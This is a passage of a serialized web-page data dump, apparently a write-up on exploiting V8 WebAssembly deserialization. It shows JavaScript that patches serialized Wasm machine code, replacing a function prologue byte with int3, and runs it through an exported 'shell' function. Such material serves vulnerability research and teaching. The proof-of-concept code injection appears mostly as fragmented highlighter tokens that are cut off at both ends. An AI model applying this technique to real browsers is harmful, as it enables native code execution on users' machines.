96",{"type":26,"tag":475,"props":133006,"children":133007},{"style":499},[133008],{"type":32,"value":637},{"type":26,"tag":475,"props":133010,"children":133011},{"style":903},[133012],{"type":32,"value":3732},{"type":26,"tag":475,"props":133014,"children":133015},{"style":499},[133016],{"type":32,"value":637},{"type":26,"tag":475,"props":133018,"children":133019},{"style":903},[133020],{"type":32,"value":3732},{"type":26,"tag":475,"props":133022,"children":133023},{"style":499},[133024],{"type":32,"value":637},{"type":26,"tag":475,"props":133026,"children":133027},{"style":903},[133028],{"type":32,"value":17002},{"type":26,"tag":475,"props":133030,"children":133031},{"style":499},[133032],{"type":32,"value":637},{"type":26,"tag":475,"props":133034,"children":133035},{"style":903},[133036],{"type":32,"value":2830},{"type":26,"tag":475,"props":133038,"children":133039},{"style":499},[133040],{"type":32,"value":637},{"type":26,"tag":475,"props":133042,"children":133043},{"style":903},[133044],{"type":32,"value":3722},{"type":26,"tag":475,"props":133046,"children":133047},{"style":499},[133048],{"type":32,"value":637},{"type":26,"tag":475,"props":133050,"children":133051},{"style":903},[133052],{"type":32,"value":3732},{"type":26,"tag":475,"props":133054,"children":133055},{"style":499},[133056],{"type":32,"value":637},{"type":26,"tag":475,"props":133058,"children":133059},{"style":903},[133060],{"type":32,"value":54362},{"type":26,"tag":475,"props":133062,"children":133063},{"style":499},[133064],{"type":32,"value":637},{"type":26,"tag":475,"props":133066,"children":133067},{"style":903},[133068],{"type":32,"value":55577},{"type":26,"tag":475,"props":133070,"children":133071},{"style":499},[133072],{"type":32,"value":637},{"type":26,"tag":475,"props":133074,"children":133075},{"style":903},[133076],{"type":32,"value":3722},{"type":26,"tag":475,"props":133078,"children":133079},{"style":499},[133080],{"type":32,"value":637},{"type":26,"tag":475,"props":133082,"children":133083},{"style":903},[133084],{"type":32,"value":17816},{"type":26,"tag":475,"props":133086,"children":133087},{"style":499},[133088],{"type":32,"value":637},{"type":26,"tag":475,"props":133090,"children":133091},{"style":903},[133092],{"type":32,"value":132930},{"type":26,"tag":475,"props":133094,"children":133095},{"style":499},[133096],{"type":32,"value":637},{"type":26,"tag":475,"props":133098,"children":133099},{"style":903},[133100],{"type":32,"value":133101},"104",{"type":26,"tag":475,"props":133103,"children":133104},{"style":499},[133105],{"type":32,"value":637},{"type":26,"tag":475,"props":133107,"children":133108},{"style":903},[133109],{"type":32,"value":133110},"101",{"type":26,"tag":475,"props":133112,"children":133113},{"style":499},[133114],{"type":32,"value":637},{"type":26,"tag":475,"props":133116,"children":133117},{"style":903},[133118],{"type":32,"value":133119},"108",{"type":26,"tag":475,"props":133121,"children":133122},{"style":499},[133123],{"type":32,"value":637},{"type":26,"tag":475,"props":133125,"children":133126},{"style":903},[133127],{"type":32,"value":133119},{"type":26,"tag":475,"props":133129,"children":133130},{"style":499},[133131],{"type":32,"value":2425},{"type":26,"tag":475,"props":133133,"children":133134},{"class":477,"line":539},[133135,133139,133143,133147,133151,133155,133159,133163,133167,133171,133175,133179,133183,133187,133191,133196],{"type":26,"tag":475,"props":133136,"children":133137},{"style":903},[133138],{"type":32,"value":132912},{"type":26,"tag":475,"props":133140,"children":133141},{"style":499},[133142],{"type":32,"value":637},{"type":26,"tag":475,"props":133144,"children":133145},{"style":903},[133146],{"type":32,"value":3732},{"type":26,"tag":475,"props":133148,"children":133149},{"style":499},[133150],{"type":32,"value":637},{"type":26,"tag":475,"props":133152,"children":133153},{"style":903},[133154],{"type":32,"value":88873},{"type":26,"tag":475,"props":133156,"children":133157},{"style":499},[133158],{"type":32,"value":637},{"type":26,"tag":475,"props":133160,"children":133161},{"style":903},[133162],{"type":32,"value":17235},{"type":26,"tag":475,"props":133164,"children":133165},{"style":499},[133166],{"type":32,"value":637},{"type":26,"tag":475,"props":133168,"children":133169},{"style":903},[133170],{"type":32,"value":3722},{"type":26,"tag":475,"props":133172,"children":133173},{"style":499},[133174],{"type":32,"value":637},{"type":26,"tag":475,"props":133176,"children":133177},{"style":903},[133178],{"type":32,"value":2830},{"type":26,"tag":475,"props":133180,"children":133181},{"style":499},[133182],{"type":32,"value":637},{"type":26,"tag":475,"props":133184,"children":133185},{"style":903},[133186],{"type":32,"value":3732},{"type":26,"tag":475,"props":133188,"children":133189},{"style":499},[133190],{"type":32,"value":637},{"type":26,"tag":475,"props":133192,"children":133193},{"style":903},[133194],{"type":32,"value":133195},"11",{"type":26,"tag":475,"props":133197,"children":133198},{"style":499},[133199],{"type":32,"value":2425},{"type":26,"tag":475,"props":133201,"children":133202},{"class":477,"line":548},[133203],{"type":26,"tag":475,"props":133204,"children":133205},{"style":499},[133206],{"type":32,"value":3459},{"type":26,"tag":475,"props":133208,"children":133209},{"class":477,"line":558},[133210,133214,133218,133222,133226,133231,133235,133239,133243,133248],{"type":26,"tag":475,"props":133211,"children":133212},{"style":482},[133213],{"type":32,"value":34742},{"type":26,"tag":475,"props":133215,"children":133216},{"style":2375},[133217],{"type":32,"value":71251},{"type":26,"tag":475,"props":133219,"children":133220},{"style":714},[133221],{"type":32,"value":2383},{"type":26,"tag":475,"props":133223,"children":133224},{"style":482},[133225],{"type":32,"value":31633},{"type":26,"tag":475,"props":133227,"children":133228},{"style":2375},[133229],{"type":32,"value":133230}," WebAssembly",{"type":26,"tag":475,"props":133232,"children":133233},{"style":499},[133234],{"type":32,"value":353},{"type":26,"tag":475,"props":133236,"children":133237},{"style":493},[133238],{"type":32,"value":85541},{"type":26,"tag":475,"props":133240,"children":133241},{"style":499},[133242],{"type":32,"value":626},{"type":26,"tag":475,"props":133244,"children":133245},{"style":2375},[133246],{"type":32,"value":133247},"wasm_code",{"type":26,"tag":475,"props":133249,"children":133250},{"style":499},[133251],{"type":32,"value":3533},{"type":26,"tag":475,"props":133253,"children":133254},{"class":477,"line":582},[133255,133259,133264,133268,133272,133276,133280,133285,133289,133294],{"type":26,"tag":475,"props":133256,"children":133257},{"style":482},[133258],{"type":32,"value":34742},{"type":26,"tag":475,"props":133260,"children":133261},{"style":2375},[133262],{"type":32,"value":133263}," inst",{"type":26,"tag":475,"props":133265,"children":133266},{"style":714},[133267],{"type":32,"value":2383},{"type":26,"tag":475,"props":133269,"children":133270},{"style":482},[133271],{"type":32,"value":31633},{"type":26,"tag":475,"props":133273,"children":133274},{"style":2375},[133275],{"type":32,"value":133230},{"type":26,"tag":475,"props":133277,"children":133278},{"style":499},[133279],{"type":32,"value":353},{"type":26,"tag":475,"props":133281,"children":133282},{"style":493},[133283],{"type":32,"value":133284},"Instance",{"type":26,"tag":475,"props":133286,"children":133287},{"style":499},[133288],{"type":32,"value":626},{"type":26,"tag":475,"props":133290,"children":133291},{"style":2375},[133292],{"type":32,"value":133293},"mod",{"type":26,"tag":475,"props":133295,"children":133296},{"style":499},[133297],{"type":32,"value":3533},{"type":26,"tag":475,"props":133299,"children":133300},{"class":477,"line":596},[133301,133305,133309,133313,133317,133321,133325,133329,133334],{"type":26,"tag":475,"props":133302,"children":133303},{"style":482},[133304],{"type":32,"value":34742},{"type":26,"tag":475,"props":133306,"children":133307},{"style":2375},[133308],{"type":32,"value":79638},{"type":26,"tag":475,"props":133310,"children":133311},{"style":714},[133312],{"type":32,"value":2383},{"type":26,"tag":475,"props":133314,"children":133315},{"style":2375},[133316],{"type":32,"value":133263},{"type":26,"tag":475,"props":133318,"children":133319},{"style":499},[133320],{"type":32,"value":353},{"type":26,"tag":475,"props":133322,"children":133323},{"style":2375},[133324],{"type":32,"value":37579},{"type":26,"tag":475,"props":133326,"children":133327},{"style":499},[133328],{"type":32,"value":353},{"type":26,"tag":475,"props":133330,"children":133331},{"style":2375},[133332],{"type":32,"value":133333},"shell",{"type":26,"tag":475,"props":133335,"children":133336},{"style":499},[133337],{"type":32,"value":2729},{"type":26,"tag":475,"props":133339,"children":133340},{"class":477,"line":610},[133341],{"type":26,"tag":475,"props":133342,"children":133343},{"emptyLinePlaceholder":18},[133344],{"type":32,"value":545},{"type":26,"tag":475,"props":133346,"children":133347},{"class":477,"line":650},[133348,133352,133357,133361,133365],{"type":26,"tag":475,"props":133349,"children":133350},{"style":714},[133351],{"type":32,"value":56080},{"type":26,"tag":475,"props":133353,"children":133354},{"style":493},[133355],{"type":32,"value":133356},"WasmTierUpFunction",{"type":26,"tag":475,"props":133358,"children":133359},{"style":499},[133360],{"type":32,"value":626},{"type":26,"tag":475,"props":133362,"children":133363},{"style":2375},[133364],{"type":32,"value":75929},{"type":26,"tag":475,"props":133366,"children":133367},{"style":499},[133368],{"type":32,"value":3533},{"type":26,"tag":475,"props":133370,"children":133371},{"class":477,"line":679},[133372,133376,133381,133385,133390,133394,133398,133402],{"type":26,"tag":475,"props":133373,"children":133374},{"style":482},[133375],{"type":32,"value":34742},{"type":26,"tag":475,"props":133377,"children":133378},{"style":2375},[133379],{"type":32,"value":133380}," serialized",{"type":26,"tag":475,"props":133382,"children":133383},{"style":714},[133384],{"type":32,"value":2383},{"type":26,"tag":475,"props":133386,"children":133387},{"style":714},[133388],{"type":32,"value":133389}," %",{"type":26,"tag":475,"props":133391,"children":133392},{"style":493},[133393],{"type":32,"value":132388},{"type":26,"tag":475,"props":133395,"children":133396},{"style":499},[133397],{"type":32,"value":626},{"type":26,"tag":475,"props":133399,"children":133400},{"style":2375},[133401],{"type":32,"value":133293},{"type":26,"tag":475,"props":133403,"children":133404},{"style":499},[133405],{"type":32,"value":3533},{"type":26,"tag":475,"props":133407,"children":133408},{"class":477,"line":735},[133409,133413,133417,133421,133425,133429,133433,133438],{"type":26,"tag":475,"props":133410,"children":133411},{"style":482},[133412],{"type":32,"value":11496},{"type":26,"tag":475,"props":133414,"children":133415},{"style":2375},[133416],{"type":32,"value":8870},{"type":26,"tag":475,"props":133418,"children":133419},{"style":714},[133420],{"type":32,"value":2383},{"type":26,"tag":475,"props":133422,"children":133423},{"style":482},[133424],{"type":32,"value":31633},{"type":26,"tag":475,"props":133426,"children":133427},{"style":493},[133428],{"type":32,"value":132899},{"type":26,"tag":475,"props":133430,"children":133431},{"style":499},[133432],{"type":32,"value":626},{"type":26,"tag":475,"props":133434,"children":133435},{"style":2375},[133436],{"type":32,"value":133437},"serialized",{"type":26,"tag":475,"props":133439,"children":133440},{"style":499},[133441],{"type":32,"value":3533},{"type":26,"tag":475,"props":133443,"children":133444},{"class":477,"line":744},[133445,133450,133454,133458,133462,133467,133471,133475,133479,133484,133488,133493,133497,133501,133506],{"type":26,"tag":475,"props":133446,"children":133447},{"style":2375},[133448],{"type":32,"value":133449},"console",{"type":26,"tag":475,"props":133451,"children":133452},{"style":499},[133453],{"type":32,"value":353},{"type":26,"tag":475,"props":133455,"children":133456},{"style":493},[133457],{"type":32,"value":2467},{"type":26,"tag":475,"props":133459,"children":133460},{"style":499},[133461],{"type":32,"value":626},{"type":26,"tag":475,"props":133463,"children":133464},{"style":629},[133465],{"type":32,"value":133466},"'['",{"type":26,"tag":475,"props":133468,"children":133469},{"style":714},[133470],{"type":32,"value":8616},{"type":26,"tag":475,"props":133472,"children":133473},{"style":2375},[133474],{"type":32,"value":8870},{"type":26,"tag":475,"props":133476,"children":133477},{"style":499},[133478],{"type":32,"value":353},{"type":26,"tag":475,"props":133480,"children":133481},{"style":493},[133482],{"type":32,"value":133483},"join",{"type":26,"tag":475,"props":133485,"children":133486},{"style":499},[133487],{"type":32,"value":626},{"type":26,"tag":475,"props":133489,"children":133490},{"style":629},[133491],{"type":32,"value":133492},"', '",{"type":26,"tag":475,"props":133494,"children":133495},{"style":499},[133496],{"type":32,"value":2794},{"type":26,"tag":475,"props":133498,"children":133499},{"style":714},[133500],{"type":32,"value":1106},{"type":26,"tag":475,"props":133502,"children":133503},{"style":629},[133504],{"type":32,"value":133505}," ']'",{"type":26,"tag":475,"props":133507,"children":133508},{"style":499},[133509],{"type":32,"value":3533},{"type":26,"tag":35,"props":133511,"children":133512},{},[133513],{"type":32,"value":133514},"This produces the following output:",{"type":26,"tag":465,"props":133516,"children":133518},{"code":133517},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[133519],{"type":26,"tag":53,"props":133520,"children":133521},{"__ignoreMap":7},[133522],{"type":32,"value":133517},{"type":26,"tag":35,"props":133524,"children":133525},{},[133526,133528,133534,133536,133542,133544,133550,133551,133557,133559,133564],{"type":32,"value":133527},"The bytes ",{"type":26,"tag":53,"props":133529,"children":133531},{"className":133530},[],[133532],{"type":32,"value":133533},"85, 72, 137, 229, ...",{"type":32,"value":133535}," correspond to the x86-64 function prologue (",{"type":26,"tag":53,"props":133537,"children":133539},{"className":133538},[],[133540],{"type":32,"value":133541},"push rbp; mov rbp, rsp",{"type":32,"value":133543},"). We replace the first byte with ",{"type":26,"tag":53,"props":133545,"children":133547},{"className":133546},[],[133548],{"type":32,"value":133549},"0xcc",{"type":32,"value":16165},{"type":26,"tag":53,"props":133552,"children":133554},{"className":133553},[],[133555],{"type":32,"value":133556},"int3",{"type":32,"value":133558}," opcode), and use this modified buffer as the serialized input to ",{"type":26,"tag":53,"props":133560,"children":133562},{"className":133561},[],[133563],{"type":32,"value":132362},{"type":32,"value":179},{"type":26,"tag":465,"props":133566,"children":133568},{"code":133567,"language":35311,"meta":7,"className":35309,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[133569],{"type":26,"tag":53,"props":133570,"children":133571},{"__ignoreMap":7},[133572,133595,133622,133842,133909,133917,133944,134158,134410,134661,134887,135131,135351,135358,135407,135452,135496,135535,135547],{"type":26,"tag":475,"props":133573,"children":133574},{"class":477,"line":478},[133575,133579,133583,133587,133591],{"type":26,"tag":475,"props":133576,"children":133577},{"style":499},[133578],{"type":32,"value":626},{"type":26,"tag":475,"props":133580,"children":133581},{"style":482},[133582],{"type":32,"value":2350},{"type":26,"tag":475,"props":133584,"children":133585},{"style":499},[133586],{"type":32,"value":2355},{"type":26,"tag":475,"props":133588,"children":133589},{"style":482},[133590],{"type":32,"value":2360},{"type":26,"tag":475,"props":133592,"children":133593},{"style":499},[133594],{"type":32,"value":579},{"type":26,"tag":475,"props":133596,"children":133597},{"class":477,"line":516},[133598,133602,133606,133610,133614,133618],{"type":26,"tag":475,"props":133599,"children":133600},{"style":482},[133601],{"type":32,"value":35883},{"type":26,"tag":475,"props":133603,"children":133604},{"style":2375},[133605],{"type":32,"value":132886},{"type":26,"tag":475,"props":133607,"children":133608},{"style":714},[133609],{"type":32,"value":2383},{"type":26,"tag":475,"props":133611,"children":133612},{"style":482},[133613],{"type":32,"value":31633},{"type":26,"tag":475,"props":133615,"children":133616},{"style":493},[133617],{"type":32,"value":132899},{"type":26,"tag":475,"props":133619,"children":133620},{"style":499},[133621],{"type":32,"value":132904},{"type":26,"tag":475,"props":133623,"children":133624},{"class":477,"line":539},[133625,133630,133634,133638,133642,133646,133650,133654,133658,133662,133666,133670,133674,133678,133682,133686,133690,133694,133698,133702,133706,133710,133714,133718,133722,133726,133730,133734,133738,133742,133746,133750,133754,133758,133762,133766,133770,133774,133778,133782,133786,133790,133794,133798,133802,133806,133810,133814,133818,133822,133826,133830,133834,133838],{"type":26,"tag":475,"props":133626,"children":133627},{"style":903},[133628],{"type":32,"value":133629}," 0",{"type":26,"tag":475,"props":133631,"children":133632},{"style":499},[133633],{"type":32,"value":637},{"type":26,"tag":475,"props":133635,"children":133636},{"style":903},[133637],{"type":32,"value":132921},{"type":26,"tag":475,"props":133639,"children":133640},{"style":499},[133641],{"type":32,"value":637},{"type":26,"tag":475,"props":133643,"children":133644},{"style":903},[133645],{"type":32,"value":132930},{"type":26,"tag":475,"props":133647,"children":133648},{"style":499},[133649],{"type":32,"value":637},{"type":26,"tag":475,"props":133651,"children":133652},{"style":903},[133653],{"type":32,"value":132939},{"type":26,"tag":475,"props":133655,"children":133656},{"style":499},[133657],{"type":32,"value":637},{"type":26,"tag":475,"props":133659,"children":133660},{"style":903},[133661],{"type":32,"value":3722},{"type":26,"tag":475,"props":133663,"children":133664},{"style":499},[133665],{"type":32,"value":637},{"type":26,"tag":475,"props":133667,"children":133668},{"style":903},[133669],{"type":32,"value":3732},{"type":26,"tag":475,"props":133671,"children":133672},{"style":499},[133673],{"type":32,"value":637},{"type":26,"tag":475,"props":133675,"children":133676},{"style":903},[133677],{"type":32,"value":3732},{"type":26,"tag":475,"props":133679,"children":133680},{"style":499},[133681],{"type":32,"value":637},{"type":26,"tag":475,"props":133683,"children":133684},{"style":903},[133685],{"type":32,"value":3732},{"type":26,"tag":475,"props":133687,"children":133688},{"style":499},[133689],{"type":32,"value":637},{"type":26,"tag":475,"props":133691,"children":133692},{"style":903},[133693],{"type":32,"value":3722},{"type":26,"tag":475,"props":133695,"children":133696},{"style":499},[133697],{"type":32,"value":637},{"type":26,"tag":475,"props":133699,"children":133700},{"style":903},[133701],{"type":32,"value":17235},{"type":26,"tag":475,"props":133703,"children":133704},{"style":499},[133705],{"type":32,"value":637},{"type":26,"tag":475,"props":133707,"children":133708},{"style":903},[133709],{"type":32,"value":3722},{"type":26,"tag":475,"props":133711,"children":133712},{"style":499},[133713],{"type":32,"value":637},{"type":26,"tag":475,"props":133715,"children":133716},{"style":903},[133717],{"type":32,"value":133004},{"type":26,"tag":475,"props":133719,"children":133720},{"style":499},[133721],{"type":32,"value":637},{"type":26,"tag":475,"props":133723,"children":133724},{"style":903},[133725],{"type":32,"value":3732},{"type":26,"tag":475,"props":133727,"children":133728},{"style":499},[133729],{"type":32,"value":637},{"type":26,"tag":475,"props":133731,"children":133732},{"style":903},[133733],{"type":32,"value":3732},{"type":26,"tag":475,"props":133735,"children":133736},{"style":499},[133737],{"type":32,"value":637},{"type":26,"tag":475,"props":133739,"children":133740},{"style":903},[133741],{"type":32,"value":17002},{"type":26,"tag":475,"props":133743,"children":133744},{"style":499},[133745],{"type":32,"value":637},{"type":26,"tag":475,"props":133747,"children":133748},{"style":903},[133749],{"type":32,"value":2830},{"type":26,"tag":475,"props":133751,"children":133752},{"style":499},[133753],{"type":32,"value":637},{"type":26,"tag":475,"props":133755,"children":133756},{"style":903},[133757],{"type":32,"value":3722},{"type":26,"tag":475,"props":133759,"children":133760},{"style":499},[133761],{"type":32,"value":637},{"type":26,"tag":475,"props":133763,"children":133764},{"style":903},[133765],{"type":32,"value":3732},{"type":26,"tag":475,"props":133767,"children":133768},{"style":499},[133769],{"type":32,"value":637},{"type":26,"tag":475,"props":133771,"children":133772},{"style":903},[133773],{"type":32,"value":54362},{"type":26,"tag":475,"props":133775,"children":133776},{"style":499},[133777],{"type":32,"value":637},{"type":26,"tag":475,"props":133779,"children":133780},{"style":903},[133781],{"type":32,"value":55577},{"type":26,"tag":475,"props":133783,"children":133784},{"style":499},[133785],{"type":32,"value":637},{"type":26,"tag":475,"props":133787,"children":133788},{"style":903},[133789],{"type":32,"value":3722},{"type":26,"tag":475,"props":133791,"children":133792},{"style":499},[133793],{"type":32,"value":637},{"type":26,"tag":475,"props":133795,"children":133796},{"style":903},[133797],{"type":32,"value":17816},{"type":26,"tag":475,"props":133799,"children":133800},{"style":499},[133801],{"type":32,"value":637},{"type":26,"tag":475,"props":133803,"children":133804},{"style":903},[133805],{"type":32,"value":132930},{"type":26,"tag":475,"props":133807,"children":133808},{"style":499},[133809],{"type":32,"value":637},{"type":26,"tag":475,"props":133811,"children":133812},{"style":903},[133813],{"type":32,"value":133101},{"type":26,"tag":475,"props":133815,"children":133816},{"style":499},[133817],{"type":32,"value":637},{"type":26,"tag":475,"props":133819,"children":133820},{"style":903},[133821],{"type":32,"value":133110},{"type":26,"tag":475,"props":133823,"children":133824},{"style":499},[133825],{"type":32,"value":637},{"type":26,"tag":475,"props":133827,"children":133828},{"style":903},[133829],{"type":32,"value":133119},{"type":26,"tag":475,"props":133831,"children":133832},{"style":499},[133833],{"type":32,"value":637},{"type":26,"tag":475,"props":133835,"children":133836},{"style":903},[133837],{"type":32,"value":133119},{"type":26,"tag":475,"props":133839,"children":133840},{"style":499},[133841],{"type":32,"value":2425},{"type":26,"tag":475,"props":133843,"children":133844},{"class":477,"line":548},[133845,133849,133853,133857,133861,133865,133869,133873,133877,133881,133885,133889,133893,133897,133901,133905],{"type":26,"tag":475,"props":133846,"children":133847},{"style":903},[133848],{"type":32,"value":133629},{"type":26,"tag":475,"props":133850,"children":133851},{"style":499},[133852],{"type":32,"value":637},{"type":26,"tag":475,"props":133854,"children":133855},{"style":903},[133856],{"type":32,"value":3732},{"type":26,"tag":475,"props":133858,"children":133859},{"style":499},[133860],{"type":32,"value":637},{"type":26,"tag":475,"props":133862,"children":133863},{"style":903},[133864],{"type":32,"value":88873},{"type":26,"tag":475,"props":133866,"children":133867},{"style":499},[133868],{"type":32,"value":637},{"type":26,"tag":475,"props":133870,"children":133871},{"style":903},[133872],{"type":32,"value":17235},{"type":26,"tag":475,"props":133874,"children":133875},{"style":499},[133876],{"type":32,"value":637},{"type":26,"tag":475,"props":133878,"children":133879},{"style":903},[133880],{"type":32,"value":3722},{"type":26,"tag":475,"props":133882,"children":133883},{"style":499},[133884],{"type":32,"value":637},{"type":26,"tag":475,"props":133886,"children":133887},{"style":903},[133888],{"type":32,"value":2830},{"type":26,"tag":475,"props":133890,"children":133891},{"style":499},[133892],{"type":32,"value":637},{"type":26,"tag":475,"props":133894,"children":133895},{"style":903},[133896],{"type":32,"value":3732},{"type":26,"tag":475,"props":133898,"children":133899},{"style":499},[133900],{"type":32,"value":637},{"type":26,"tag":475,"props":133902,"children":133903},{"style":903},[133904],{"type":32,"value":133195},{"type":26,"tag":475,"props":133906,"children":133907},{"style":499},[133908],{"type":32,"value":2425},{"type":26,"tag":475,"props":133910,"children":133911},{"class":477,"line":558},[133912],{"type":26,"tag":475,"props":133913,"children":133914},{"style":499},[133915],{"type":32,"value":133916}," ]);\n",{"type":26,"tag":475,"props":133918,"children":133919},{"class":477,"line":582},[133920,133924,133928,133932,133936,133940],{"type":26,"tag":475,"props":133921,"children":133922},{"style":482},[133923],{"type":32,"value":35883},{"type":26,"tag":475,"props":133925,"children":133926},{"style":2375},[133927],{"type":32,"value":124699},{"type":26,"tag":475,"props":133929,"children":133930},{"style":714},[133931],{"type":32,"value":2383},{"type":26,"tag":475,"props":133933,"children":133934},{"style":482},[133935],{"type":32,"value":31633},{"type":26,"tag":475,"props":133937,"children":133938},{"style":493},[133939],{"type":32,"value":132899},{"type":26,"tag":475,"props":133941,"children":133942},{"style":499},[133943],{"type":32,"value":132904},{"type":26,"tag":475,"props":133945,"children":133946},{"class":477,"line":596},[133947,133952,133956,133960,133964,133969,133973,133978,133982,133987,133991,133996,134000,134005,134009,134014,134018,134023,134027,134032,134036,134040,134044,134048,134052,134057,134061,134066,134070,134074,134078,134082,134086,134090,134094,134098,134102,134106,134110,134114,134118,134122,134126,134130,134134,134138,134142,134146,134150,134154],{"type":26,"tag":475,"props":133948,"children":133949},{"style":903},[133950],{"type":32,"value":133951}," 147",{"type":26,"tag":475,"props":133953,"children":133954},{"style":499},[133955],{"type":32,"value":637},{"type":26,"tag":475,"props":133957,"children":133958},{"style":903},[133959],{"type":32,"value":18128},{"type":26,"tag":475,"props":133961,"children":133962},{"style":499},[133963],{"type":32,"value":637},{"type":26,"tag":475,"props":133965,"children":133966},{"style":903},[133967],{"type":32,"value":133968},"222",{"type":26,"tag":475,"props":133970,"children":133971},{"style":499},[133972],{"type":32,"value":637},{"type":26,"tag":475,"props":133974,"children":133975},{"style":903},[133976],{"type":32,"value":133977},"192",{"type":26,"tag":475,"props":133979,"children":133980},{"style":499},[133981],{"type":32,"value":637},{"type":26,"tag":475,"props":133983,"children":133984},{"style":903},[133985],{"type":32,"value":133986},"20",{"type":26,"tag":475,"props":133988,"children":133989},{"style":499},[133990],{"type":32,"value":637},{"type":26,"tag":475,"props":133992,"children":133993},{"style":903},[133994],{"type":32,"value":133995},"119",{"type":26,"tag":475,"props":133997,"children":133998},{"style":499},[133999],{"type":32,"value":637},{"type":26,"tag":475,"props":134001,"children":134002},{"style":903},[134003],{"type":32,"value":134004},"44",{"type":26,"tag":475,"props":134006,"children":134007},{"style":499},[134008],{"type":32,"value":637},{"type":26,"tag":475,"props":134010,"children":134011},{"style":903},[134012],{"type":32,"value":134013},"43",{"type":26,"tag":475,"props":134015,"children":134016},{"style":499},[134017],{"type":32,"value":637},{"type":26,"tag":475,"props":134019,"children":134020},{"style":903},[134021],{"type":32,"value":134022},"127",{"type":26,"tag":475,"props":134024,"children":134025},{"style":499},[134026],{"type":32,"value":637},{"type":26,"tag":475,"props":134028,"children":134029},{"style":903},[134030],{"type":32,"value":134031},"62",{"type":26,"tag":475,"props":134033,"children":134034},{"style":499},[134035],{"type":32,"value":637},{"type":26,"tag":475,"props":134037,"children":134038},{"style":903},[134039],{"type":32,"value":17002},{"type":26,"tag":475,"props":134041,"children":134042},{"style":499},[134043],{"type":32,"value":637},{"type":26,"tag":475,"props":134045,"children":134046},{"style":903},[134047],{"type":32,"value":3732},{"type":26,"tag":475,"props":134049,"children":134050},{"style":499},[134051],{"type":32,"value":637},{"type":26,"tag":475,"props":134053,"children":134054},{"style":903},[134055],{"type":32,"value":134056},"159",{"type":26,"tag":475,"props":134058,"children":134059},{"style":499},[134060],{"type":32,"value":637},{"type":26,"tag":475,"props":134062,"children":134063},{"style":903},[134064],{"type":32,"value":134065},"206",{"type":26,"tag":475,"props":134067,"children":134068},{"style":499},[134069],{"type":32,"value":637},{"type":26,"tag":475,"props":134071,"children":134072},{"style":903},[134073],{"type":32,"value":43842},{"type":26,"tag":475,"props":134075,"children":134076},{"style":499},[134077],{"type":32,"value":637},{"type":26,"tag":475,"props":134079,"children":134080},{"style":903},[134081],{"type":32,"value":134013},{"type":26,"tag":475,"props":134083,"children":134084},{"style":499},[134085],{"type":32,"value":637},{"type":26,"tag":475,"props":134087,"children":134088},{"style":903},[134089],{"type":32,"value":3732},{"type":26,"tag":475,"props":134091,"children":134092},{"style":499},[134093],{"type":32,"value":637},{"type":26,"tag":475,"props":134095,"children":134096},{"style":903},[134097],{"type":32,"value":3732},{"type":26,"tag":475,"props":134099,"children":134100},{"style":499},[134101],{"type":32,"value":637},{"type":26,"tag":475,"props":134103,"children":134104},{"style":903},[134105],{"type":32,"value":17002},{"type":26,"tag":475,"props":134107,"children":134108},{"style":499},[134109],{"type":32,"value":637},{"type":26,"tag":475,"props":134111,"children":134112},{"style":903},[134113],{"type":32,"value":3732},{"type":26,"tag":475,"props":134115,"children":134116},{"style":499},[134117],{"type":32,"value":637},{"type":26,"tag":475,"props":134119,"children":134120},{"style":903},[134121],{"type":32,"value":3732},{"type":26,"tag":475,"props":134123,"children":134124},{"style":499},[134125],{"type":32,"value":637},{"type":26,"tag":475,"props":134127,"children":134128},{"style":903},[134129],{"type":32,"value":3732},{"type":26,"tag":475,"props":134131,"children":134132},{"style":499},[134133],{"type":32,"value":637},{"type":26,"tag":475,"props":134135,"children":134136},{"style":903},[134137],{"type":32,"value":3732},{"type":26,"tag":475,"props":134139,"children":134140},{"style":499},[134141],{"type":32,"value":637},{"type":26,"tag":475,"props":134143,"children":134144},{"style":903},[134145],{"type":32,"value":3732},{"type":26,"tag":475,"props":134147,"children":134148},{"style":499},[134149],{"type":32,"value":637},{"type":26,"tag":475,"props":134151,"children":134152},{"style":903},[134153],{"type":32,"value":29125},{"type":26,"tag":475,"props":134155,"children":134156},{"style":499},[134157],{"type":32,"value":2425},{"type":26,"tag":475,